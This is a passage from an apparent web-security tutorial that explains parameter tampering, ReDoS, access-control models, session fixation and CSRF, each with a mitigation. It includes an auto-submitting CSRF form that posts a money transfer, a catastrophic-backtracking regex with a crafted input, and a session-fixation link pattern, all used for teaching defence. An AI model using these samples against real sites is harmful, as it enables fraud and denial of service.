  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"100.00"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"currency"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"USD"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"cardNumber"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Card number:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cardNumber"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"cardNumber"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"cardExpiry"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Expires:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cardExpiry"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"cardExpiry"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"cardCVC"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;CVC:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"cardCVC"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"cardCVC"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="c"&gt;&amp;lt;!--Other fields--&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Pay&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;How does e-commerce work once that message is submitted? A user submits an order with a webhook enabled form. This form communicates order details, user data and payment data (see above) back to the merchant's server. The merchant's server then sends a message back to the user with a message like "Thanks for submitting your order!" but behind the scenes, the status message typically looks like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"order_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"78910"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"merchant_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"123456"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"status"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"success"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="err"&gt;...other&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;fields&lt;/span&gt;&lt;span class="w"&gt;

  &lt;/span&gt;&lt;span class="nl"&gt;"signature"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"abcdefghijklmn...xyz"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What if the $100 order could turn into one that was only $1.00? This attack could be accomplished via changing the order cost with developer tools on an insecure form where &lt;strong&gt;input validation&lt;/strong&gt; fails yet still submits the order. In this described attack scenario, the server will still receive a notification with the status &lt;code&gt;success&lt;/code&gt;, but the purchase amount will be different.&lt;/p&gt;

&lt;p&gt;If the server does not check the &lt;strong&gt;integrity&lt;/strong&gt; of data that can be changed by the user, it will lead to a &lt;code&gt;Parameter Tampering&lt;/code&gt; attack. A &lt;code&gt;signature&lt;/code&gt; is provided for verification on the service side. This can apply not only to fields that the user submits via forms, but also to cookie values, headers, etc.&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;Data that depends on user input and whose authenticity cannot be guaranteed, often due to dependency on external services beyond our control, requires protection using HMAC or digital signatures.&lt;/p&gt;

&lt;p&gt;Imagine if you issued JWT tokens without signatures. Any user could decode the token, replace the parameters in it with their own and send them to the server.&lt;/p&gt;

&lt;p&gt;If you will be using digital signatures, in the &lt;strong&gt;Secure Cryptography&lt;/strong&gt; section we'll look at which algorithms are the best choice right now.&lt;/p&gt;

&lt;h3&gt;
  
  
  ReDoS &amp;amp; RegEx Injection.
&lt;/h3&gt;

&lt;p&gt;In many scenarios, we've discussed syntax validation, where we verify that the data actually conforms to the format we need. One of the most popular methods for format validation are &lt;strong&gt;RegEx&lt;/strong&gt; expressions.&lt;/p&gt;

&lt;p&gt;When a regular expression tries to find a match in a string, it uses a mechanism called &lt;strong&gt;back-tracking&lt;/strong&gt;. This means that the regex “tries” different combinations to match the pattern to the text, and if something doesn't match, it goes back and tries another path.&lt;/p&gt;

&lt;p&gt;If our regex contains constructs that cause excessive backtracking, it will cause the process to take a very long time to complete. This is often due to the use of &lt;strong&gt;greedy quantifiers&lt;/strong&gt;: &lt;code&gt;+, *&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let's not go far and consider the following popular regex: &lt;code&gt;^(a+)+&lt;/code&gt; with matching the following text: &lt;code&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaX&lt;/code&gt;.&lt;br&gt;
We have 2 nested greedy quantifiers here, which forces the RegEx engine to split the sequence from &lt;code&gt;a&lt;/code&gt; into groups in every possible way. As a result, the number of checks we have starts to grow exponentially with each addition of &lt;code&gt;a&lt;/code&gt;, and we will have a full match time of more than 30 seconds.&lt;/p&gt;
&lt;h4&gt;
  
  
  Example of injection
&lt;/h4&gt;

&lt;p&gt;Let's imagine that we give users the ability to protect their social media groups from spam comments by giving them the ability to add their own regular expressions to filter messages.&lt;/p&gt;

&lt;p&gt;If an attacker adds a regular but malicious expression, and writes a post with a lot of backtracking, it will cause the processing flow to stall.&lt;/p&gt;
&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;The easiest and most effective way to defend against this attack is to limit the &lt;strong&gt;time&lt;/strong&gt; of execution of the regular expression. This is done simply by running the validation process in a separate thread (or virtual thread) and specifying the operation timeout.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://github.com/OWASP/www-project-netryx" rel="noopener noreferrer"&gt;OWASP Netryx Armor&lt;/a&gt; validator is resistant to this type of attack.&lt;/p&gt;
&lt;h2&gt;
  
  
  Access Control
&lt;/h2&gt;

&lt;p&gt;Access control primarily involves &lt;strong&gt;authenticating&lt;/strong&gt; the user (simply put, identifying &lt;strong&gt;who&lt;/strong&gt; has the access) and &lt;strong&gt;authorizing&lt;/strong&gt; them (whether they have the right to access us). &lt;strong&gt;Broken Access Control&lt;/strong&gt; is the top #1 vulnerability that is found in applications in one way or another.&lt;/p&gt;

&lt;p&gt;Before we look at the types of access controls, let's first establish one important rule: &lt;strong&gt;All endpoints must be protected out of the box, and public endpoints must be explicitly specified, not the other way around&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  MAC
&lt;/h3&gt;

&lt;p&gt;MAC (&lt;strong&gt;Mandatory Access Control&lt;/strong&gt;) is a strict access control model where policies are defined by the system and cannot be changed by users under any circumstances to avoid accidental or malicious escalation of rights.&lt;/p&gt;

&lt;p&gt;Typically, in MAC we set the type of protected object, and a &lt;strong&gt;security level label&lt;/strong&gt;. Government agencies, for example, typically use labels like &lt;strong&gt;TOP SECRET&lt;/strong&gt;, &lt;strong&gt;SECRET&lt;/strong&gt;, &lt;strong&gt;CONFIDENTIAL&lt;/strong&gt;, and &lt;strong&gt;UNCLASSIFIED&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This principle also implies following the &lt;strong&gt;need to know&lt;/strong&gt; principle, so if an entity (e.g. a user) is granted access to the &lt;strong&gt;SECRET&lt;/strong&gt; security level, it is mandatory to specify which specific categories of that security level should be granted access to. Simply put, if you grant a user access to documents of &lt;code&gt;confidential&lt;/code&gt; level, it is necessary to specify which specific types of documents the user has access to.&lt;/p&gt;
&lt;h3&gt;
  
  
  DAC
&lt;/h3&gt;

&lt;p&gt;DAC (&lt;strong&gt;Discretionary Access Control&lt;/strong&gt;) is a less strict methodology than MAC for access control. In this model, access to a protected object by other entities is determined not by the system, but by the &lt;strong&gt;owner&lt;/strong&gt; of the object. Accordingly, the use of this model is justified when users/processes have to manage access to their data themselves. The model implies that access can be granted not only to individual users, but also to certain groups to which those users are assigned.&lt;/p&gt;

&lt;p&gt;We encounter DAC almost every day in the file system of &lt;strong&gt;Unix&lt;/strong&gt; based operating systems and &lt;strong&gt;Windows&lt;/strong&gt;. In it, it consists of the following parameters:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;File Owner&lt;/strong&gt; - someone who is able to grant rights to their resource.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Group&lt;/strong&gt; - users who are allocated certain rights to the resource.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access Rights&lt;/strong&gt; - write/read/execute rights and combinations thereof.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  RBAC
&lt;/h3&gt;

&lt;p&gt;RBAC (&lt;strong&gt;Role Based Access Control&lt;/strong&gt;) is the most popular and used type of access control that is used in web applications. It is convenient and effective in most scenarios:&lt;/p&gt;

&lt;p&gt;As the name implies, every entity in our system has roles assigned to it, and each role has a list of &lt;strong&gt;permissions&lt;/strong&gt; or &lt;strong&gt;policies&lt;/strong&gt; that are used to further determine whether it can perform a certain action or not. Roles can inherit each other's permissions.&lt;/p&gt;

&lt;p&gt;Simply put, let's imagine we have a blog with 4 roles: USER, AUTHOR, EDITOR and ADMIN. Let's represent them in JSON format and give them the format of permissions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"roles"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"USER"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inherits"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.view.published"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.view.*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.edit.own"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.delete.own"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"AUTHOR"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inherits"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"USER"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.create.draft"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.edit.own"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.view.own"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.submit.for_review"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"EDITOR"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inherits"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"AUTHOR"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.edit.*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.publish"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.unpublish"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.moderate"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.assign.to_author"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ADMIN"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"inherits"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"EDITOR"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"user.create"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"user.edit"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"user.delete"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"site.configure"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"article.delete.*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"comment.delete.*"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="s2"&gt;"site.manage_advertising"&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In our blog management system, the &lt;strong&gt;USER&lt;/strong&gt; role allows you to view published articles and interact with comments. &lt;strong&gt;AUTHOR&lt;/strong&gt; inherits the &lt;code&gt;USER&lt;/code&gt; rights and can additionally create and edit your articles by submitting them for review. &lt;strong&gt;EDITOR&lt;/strong&gt; inherits the rights of &lt;code&gt;AUTHOR&lt;/code&gt; and can publish, unpublish and edit only his/her articles, as well as moderate comments and assign tasks to authors. The &lt;strong&gt;ADMIN&lt;/strong&gt; has full access to all aspects of the system, including user management, site customization, and content removal.&lt;/p&gt;

&lt;p&gt;Often (including in our example) a &lt;strong&gt;wildcard&lt;/strong&gt; is allowed in the permissions to mean &lt;strong&gt;ALL&lt;/strong&gt;. For example, we have the permissions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;article.delete.own&lt;/code&gt; - Gives the right to delete your own articles.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;article.delete.userid&lt;/code&gt; - The right to delete a user with ID &lt;code&gt;userid&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And now we want to give &lt;code&gt;EDITOR&lt;/code&gt; the right to delete all articles. In this case, we write:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;article.delete.*&lt;/code&gt; - Here &lt;code&gt;*&lt;/code&gt; is a wildcard.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Often, in addition to roles, users are also allowed to assign additional rights (or take away rights that their role has).&lt;br&gt;
In order to take away a right, the &lt;code&gt;-&lt;/code&gt; sign is usually added before the right. For example, to take away the right to moderate comments from a user with the &lt;strong&gt;EDITOR&lt;/strong&gt; role, we add the following policy:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-comment.moderate&lt;/code&gt; &lt;em&gt;note that “-” at the beginning&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Session Management
&lt;/h2&gt;

&lt;p&gt;Once we authenticate a user, we create a session for them, and further store their session ID in cookies. The important thing here is to make sure we have considered all the risks during the authentication process and afterwards, so let's look at the main threats we need to consider:&lt;/p&gt;
&lt;h3&gt;
  
  
  Session Fixation
&lt;/h3&gt;

&lt;p&gt;The goal of this attack is simple and straightforward - the attacker must make a legitimate user authorize with the &lt;strong&gt;attacker's&lt;/strong&gt; session ID.&lt;/p&gt;

&lt;p&gt;Let's consider a simple example:&lt;br&gt;
Depending on the web server architecture, it is often allowed to pass the session ID not via Cookies, but via Query parameters (this is especially possible if the user blocks cookies).&lt;br&gt;
As a result, when attempting to authorize, the attacker is given the session ID (e.g. &lt;code&gt;/login?sid=ABCDEFGH....&lt;/code&gt;. Using phishing or any other methods, they can force the user to click on the link where their session ID is specified and authorize, after which the attacker is authorized along with the user.&lt;/p&gt;
&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;The mitigation of this attack vector is obvious - after a user is successfully authenticated, their current session ID should &lt;strong&gt;reset&lt;/strong&gt;. In most of popular web frameworks (including Spring Boot, Quarkus), this is the default behavior, but it worth specifying, in case something is changed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Bean&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;SecurityFilterChain&lt;/span&gt; &lt;span class="nf"&gt;secure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpSecurity&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionManagement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionFixation&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;migrateSession&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt;
            &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  CSRF Attacks
&lt;/h3&gt;

&lt;p&gt;CSRF &lt;strong&gt;(Crosst Site Request Forgery)&lt;/strong&gt;, also known as XSRF, is a type of attack on web applications where the attacker's goal is to perform an action on behalf of a user already authenticated to the system. That is, the attacker's goal is to trick the user into accidentally clicking on a special link or downloading a specific resource (such as an image), which will result in a request being executed on the user's behalf on another site where the user is authorized. For example, the website to which the user was redirected by the attacker may have had such a form and a script when downloading:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"https://bank.com/transfer"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"amount"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"1000"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"hidden"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"to_account"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"123456789"&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
  &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;forms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Clearly, in real-world scenarios, scripts are much more sophisticated, but techniques for defending against CSRF attacks are effective for all:&lt;/p&gt;

&lt;h4&gt;
  
  
  Mitigation
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;CSRF tokens&lt;/strong&gt;&lt;br&gt;
The most popular method of CSRF protection is the use of &lt;strong&gt;CSRF&lt;/strong&gt; tokens. These are random tokens that are issued after authentication, which can even be stored directly in forms issued to the user. Most web frameworks support them out of the box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nd"&gt;@Bean&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;SecurityFilterChain&lt;/span&gt; &lt;span class="nf"&gt;secure&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;HttpSecurity&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionManagement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;sessionFixation&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;migrateSession&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// migrating session as in previous example&lt;/span&gt;
